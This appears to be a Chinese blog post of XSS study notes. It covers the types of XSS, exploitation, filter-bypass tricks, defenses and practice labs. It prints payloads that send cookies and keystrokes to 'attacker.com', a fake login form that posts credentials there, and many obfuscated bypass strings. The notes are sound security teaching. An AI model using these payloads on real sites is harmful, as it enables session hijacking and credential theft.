当前位置: 首页 > news >正文

xss漏洞

XSS漏洞学习笔记


1. XSS漏洞基础

1.1 定义

跨站脚本攻击(Cross-Site Scripting,XSS)允许攻击者将恶意脚本注入到网页中,当其他用户访问时触发脚本执行,常用于窃取用户会话(Cookie)、钓鱼攻击、键盘记录等。

1.2 漏洞成因

  • 未过滤用户输入:用户输入的数据被直接输出到页面。

  • 输出未编码:动态生成的页面未对特殊字符(如 <, >, &)进行转义。


2. XSS分类

2.1 反射型XSS(Reflected XSS)

  • 特点:恶意脚本通过URL参数注入,受害者点击构造的链接触发。

  • 场景:搜索框、错误页面等直接返回用户输入的内容。

  • 示例

    http://example.com/search?q=<script>alert(1)</script>  

2.2 存储型XSS(Stored XSS)

  • 特点:恶意脚本存储到服务器(如数据库),页面每次加载时自动执行。

  • 场景:留言板、用户昵称、文章评论等持久化数据的位置。

  • 示例

    html

    用户留言:<script>stealCookie()</script>  

    运行 HTML

2.3 DOM型XSS(DOM-based XSS)

  • 特点:漏洞由前端JavaScript动态操作DOM引发,不依赖服务器响应。

  • 场景:通过document.locationwindow.name等获取参数并输出到页面。

  • 示例

    javascript

    // 假设页面代码:  
    document.write("<div>" + location.hash.slice(1) + "</div>");  
    // 攻击URL:  
    http://example.com#<img src=x οnerrοr=alert(1)>  

3. XSS利用方式

3.1 窃取Cookie

  • Payload:

    html

    <script>fetch('http://attacker.com/?cookie='+document.cookie)</script>  

    运行 HTML

3.2 钓鱼攻击

  • Payload:

    html

    <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white">  
      <h1>系统升级,请重新登录:</h1>  
      <form action="http://attacker.com/steal" method="POST">  
        <input type="text" name="username">  
        <input type="password" name="password">  
      </form>  
    </div>  

    运行 HTML

3.3 键盘记录

  • Payload:

    javascript

    document.addEventListener('keypress', (e) => {  
      fetch('http://attacker.com/log?key=' + e.key);  
    });  

3.4 绕过CSP(Content Security Policy)

  • 利用外部域名:若CSP允许unsafe-inline或特定域名,引入外部脚本:

    html

    <script src="http://attacker.com/malicious.js"></script>  

    运行 HTML

  • JSONP劫持:利用网站开放的JSONP接口窃取数据。


4. XSS绕过技巧

4.1 基础绕过

  • 闭合标签

    html

    "><script>alert(1)</script>  

    运行 HTML

  • 事件处理器

    html

    <img src=x οnerrοr=alert(1)>  
    <svg/οnlοad=alert(1)>  

    运行 HTML

  • 伪协议

    html

    <a href="javascript:alert(1)">点击</a>  

    运行 HTML

4.2 编码混淆

  • HTML实体编码

    html

    <img src=x οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">  

    运行 HTML

  • Unicode编码

    javascript

    <script>\u0061\u006c\u0065\u0072\u0074(1)</script>  
  • Base64编码(需配合data:协议):

    html

    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>  

    运行 HTML

4.3 绕过WAF/过滤器

  • 拆分关键字

    javascript

    <scr<script>ipt>alert(1)</scr</script>ipt>  
  • 利用JavaScript函数

    javascript

    eval('al' + 'ert(1)');  
    String.fromCharCode(97,108,101,114,116,40,49,41); // alert(1)  
  • 利用HTML标签属性

    html

    <input type="text" value="" autofocus οnfοcus=alert(1)>  

    运行 HTML

4.4 高级绕过技巧

  • 模板字符串注入(针对Node.js应用):

    javascript

    `${alert(1)}`  
  • Shadow DOM

    html

    <div><template shadowroot="open"><script>alert(1)</script></template></div>  

    运行 HTML

  • Service Worker劫持

    javascript

    navigator.serviceWorker.register('malicious-sw.js');  

5. XSS防御方案

5.1 输入验证与过滤

  • 白名单过滤:仅允许特定字符(如字母、数字)。

  • 黑名单过滤:删除或转义 <, >, &, ", ' 等危险字符。

5.2 输出编码

  • HTML实体编码:将 < 转为 <> 转为 >

  • JavaScript编码:使用 \xHH\uXXXX 编码特殊字符。

5.3 安全HTTP头

  • Content Security Policy (CSP)

    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;  
  • HttpOnly Cookie:防止JavaScript读取敏感Cookie。

5.4 框架安全特性

  • React:自动转义JSX中的变量(除非使用dangerouslySetInnerHTML)。

  • Vue{{ data }} 默认转义,v-html 需谨慎使用。


6. 测试工具与资源

6.1 工具

  • Burp Suite:拦截和修改HTTP请求,测试XSS Payload。

  • XSS Hunter:自动化检测XSS漏洞并收集数据。

  • BeEF(Browser Exploitation Framework):浏览器攻击框架。

6.2 靶场推荐

  • PortSwigger XSS Labs:系统化XSS练习环境。

  • DVWA(Damn Vulnerable Web Application)。

  • XSS Challenges(如printenv at xss-quiz.int21h.jp)。

相关文章:

  • HashMap如何实现线程安全
  • leetcode 76. 最小覆盖子串
  • Materials Studio MS2020在linux系统上的安装包下载地址 支持centos Ubuntu rocky等系统
  • 爬虫系列之【数据解析之正则】《二》
  • 神经网络之CNN文本识别
  • LeetCode 热题100 3. 无重复字符的最长子串
  • LabVIEW DataSocket 通信库详解
  • 基于DeepSeek 的图生文最新算法 VLM-R1
  • Go开发框架Sponge+AI助手协同配合重塑企业级开发范式
  • 论文阅读:CAN GENERATIVE LARGE LANGUAGE MODELS PERFORM ASR ERROR CORRECTION?
  • 【C语言显示Linux系统参数】
  • c++面试常见问题:虚表指针存在于内存哪个分区
  • LeetCodehot 力扣热题100 组合总和
  • 【C】初阶数据结构8 -- 链式二叉树
  • 计算机毕业设计SpringBoot+Vue.js人力资源管理系统(源码+文档+PPT+讲解)
  • MCP与RAG:增强大型语言模型的两种路径
  • 【算法】【并查集】acwing算法基础837. 连通块中点的数量
  • 每日一题——接雨水
  • 制作安装win10系统U盘详细步骤
  • 深入解析HDFS:定义、架构、原理、应用场景及常用命令
  • 关税战导致中国商品冲击周边市场?“对美出口减少并未导致对东盟出口激增”
  • 法国参议院调查委员会公布雀巢“巴黎水”丑闻调查报告
  • 述评:赖清德当局上台一年恶行累累
  • 外汇局:4月下旬外资投资境内股票转为净买入
  • 和平会谈两天后,俄对乌发动冲突爆发以来最大规模无人机袭击
  • 上海徐汇 “家 + 书屋”,创新服务广大家庭